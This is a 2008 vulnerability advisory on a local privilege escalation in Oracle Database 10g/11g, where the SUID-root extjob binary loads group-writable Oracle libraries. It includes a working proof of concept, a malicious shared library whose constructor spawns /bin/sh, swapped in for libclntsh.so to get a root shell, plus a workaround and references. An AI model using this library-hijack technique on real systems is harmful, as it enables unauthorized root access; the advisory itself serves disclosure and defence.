Oracle Database Local Untrusted Library Path Vulnerability ---------------------------------------------------------- The Oracle July 2008 Critical Patch Update fixes a vulnerability which allows a user in the OINSTALL/DBA group to scalate privileges to root. Scalating Privileges from "oracle" to "root" -------------------------------------------- In Oracle 10g R2 and later (Oracle11g is also vulnerable) the affected binary, $ORACLE_HOME/bin/extjob, is SUID root and must be suid root. In the following forum from Oracle you will found a note at the bottom of the page: (...) In 10.2.0.2 and higher rdbms/admin/externaljob.ora file must must be owned by root:oraclegroup and be writable only by the owner i.e. 644 (rw-r--r--) bin/extjob file must be also owned by root:oraclegroup but must be setuid i.e. 4750 (-rwsr-x---) bin/extjobo should have normal 755 (rwxr-xr-x) permissions and be owned by oracle:oraclegroup In 11g and higher Same as 10.2.0.2 but additionally bin/jssu should exist with root setuid permissions i.e. owned by root:oraclegroup with 4750 (-rwsr-x---) (...) The "oraclegroup" is commonly "dba" or "oinstall". Regardless of the group's name, if a user can execute OS commands from the database (after an attacker gains DBA privileges by abusing from an sql injection vulnerability, in example) the user is allowed to execute, modify, delete or create new files under the ORACLE_HOME directory. The following are the linked libraries of the extjob binary: $ ldd $ORACLE_HOME/bin/extjob linux-gate.so.1 => (0xffffe000) libclntsh.so.10.1 => /home/joxean/oracle10g/product/10.2.0/db_2/lib/libclntsh.so.10.1 (0xb669d000) libdl.so.2 => /lib/tls/i686/cmov/libdl.so.2 (0xb6681000) libm.so.6 => /lib/tls/i686/cmov/libm.so.6 (0xb665f000) libpthread.so.0 => /lib/tls/i686/cmov/libpthread.so.0 (0xb664d000) libnsl.so.1 => /lib/tls/i686/cmov/libnsl.so.1 (0xb6638000) libc.so.6 => /lib/tls/i686/cmov/libc.so.6 (0xb6509000) libnnz10.so => /home/joxean/oracle10g/product/10.1.0/db_2/lib/libnnz10.so (0xb635f000) libaio.so.1 => /usr/lib/libaio.so.1 (0xb635c000) /lib/ld-linux.so.2 (0xb7f95000) As you can see, 2 Oracle libraries are linked to the extjob binary. A user in the oracle group can't change the binary "extjob" because it's owned by root but can change linked libraries to execute arbitrary code under the privileges of "root". The following is an example of what can be done: -- Example with libclntsh.so $ cat test.c #include <stdio.h> #include <stdlib.h> #include <unistd.h> void __attribute__ ((constructor)) my_init(void) { printf("[+] It works! Root shell...\n"); system("/bin/sh"); } $ cc test.c -fPIC -o test.so -shared $ mv /home/joxean/oracle10g/product/10.2.0/db_2/lib/libclntsh.so.10.2 /home/joxean/oracle10g/product/10.2.0/db_2/lib/.libclntsh.so.10.2 $ mv test.so /home/joxean/oracle10g/product/10.2.0/db_2/lib/libclntsh.so.10.2 $ $ORACLE_HOME/bin/extjob [+] It works! Root shell... sh-3.1# Notes ----- Despite the privileges needed, the vulnerability can be used in a multi-stage attack to gain root privileges. Workaround ---------- Remove the SUID root bit from the extjob binary. Disclaimer ---------- The information in this advisory and any of its demonstrations is provided "as is" without any warranty of any kind. I am not liable for any direct or indirect damages caused as a result of using the information or demonstrations provided in any part of this advisory. Contact ------- Joxean Koret - joxeankoret[at]yahoo[dot]es References ---------- http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpujul2008.html http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=727 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2008-2613